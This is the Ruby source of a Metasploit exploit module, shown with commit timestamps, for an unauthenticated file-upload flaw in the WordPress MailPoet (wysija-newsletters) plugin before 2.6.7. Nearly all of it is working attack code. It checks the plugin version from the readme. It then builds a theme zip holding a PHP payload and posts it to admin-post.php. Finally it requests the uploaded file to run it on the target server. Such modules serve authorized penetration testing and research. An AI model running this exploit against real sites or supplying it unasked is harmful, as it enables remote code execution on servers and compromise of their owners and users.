metasploit-framework/modules/exploits/unix/webapp/wp_wysija_newsletters_uploa...

127 lines
4.3 KiB
Ruby
Raw Normal View History

2014-07-02 08:24:27 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
def initialize(info = {})
super(update_info(info,
2014-07-02 08:35:30 +00:00
'Name' => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated file Upload',
2014-07-02 08:24:27 +00:00
'Description' => %q{
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.7
2014-07-02 08:49:28 +00:00
is vulnerable to an unauthenticated file upload. The exploits uses the upload Theme
functionality to upload a zip file containing the payload. The plugin used the
admin_init hook without knowning the hook is also executed for unauthenticated
users when calling the right URL. This module needs manual cleanup of the uploaded
theme directory.
2014-07-02 08:24:27 +00:00
},
'Author' =>
[
2014-07-02 08:35:30 +00:00
'Marc-Alexandre Montpas', # initial discovery
2014-07-02 08:24:27 +00:00
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['wysija-newsletters < 2.6.7', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 1 2014'))
end
def create_zip_file(theme_name, payload_name)
# the zip file must match the following:
# -) Exactly one folder representing the theme name
# -) A style.css in the theme folder
# -) Additional files in the folder
content = {
File.join(theme_name, 'style.css') => '',
File.join(theme_name, payload_name) => payload.encoded
}
zip_file = Rex::Zip::Archive.new
content.each_pair do |name, content|
zip_file.add_file(name, content)
end
zip_file.pack
end
def check
2014-07-02 09:07:58 +00:00
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
res = send_request_cgi({
'uri' => readme_url,
'method' => 'GET'
})
# no readme present, so we can assume it's safe
if res.nil? || res.code != 200
2014-07-02 20:31:02 +00:00
return Msf::Exploit::CheckCode::Unknown
2014-07-02 09:07:58 +00:00
end
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
2014-07-02 08:24:27 +00:00
2014-07-02 09:07:58 +00:00
# readme present, but no version number
if version.nil?
2014-07-02 20:29:00 +00:00
return Msf::Exploit::CheckCode::Detected
2014-07-02 09:07:58 +00:00
end
print_status("#{peer} - Found version #{version} of the plugin")
if Gem::Version.new(version) < Gem::Version.new('2.6.7')
return Msf::Exploit::CheckCode::Appears
else
return Msf::Exploit::CheckCode::Safe
end
2014-07-02 08:24:27 +00:00
end
def exploit
theme_name = Rex::Text.rand_text_alpha(10)
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
zip_content = create_zip_file(theme_name, payload_name)
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php')
data = Rex::MIME::Message.new
data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{Rex::Text.rand_text_alpha(5)}.zip\"")
data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
data.add_part('themeupload', nil, nil, 'form-data; name="action"')
data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
post_data = data.to_s
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
print_status("#{peer} - Uploading payload to #{payload_uri}")
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
'data' => post_data
})
if not res || res.code != 302 || res.header['Location'] !~ 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
end
print_status("#{peer} - Executing payload #{payload_uri}")
2014-07-02 09:07:58 +00:00
res = send_request_cgi({
2014-07-02 08:24:27 +00:00
'uri' => payload_uri,
'method' => 'GET'
})
end
end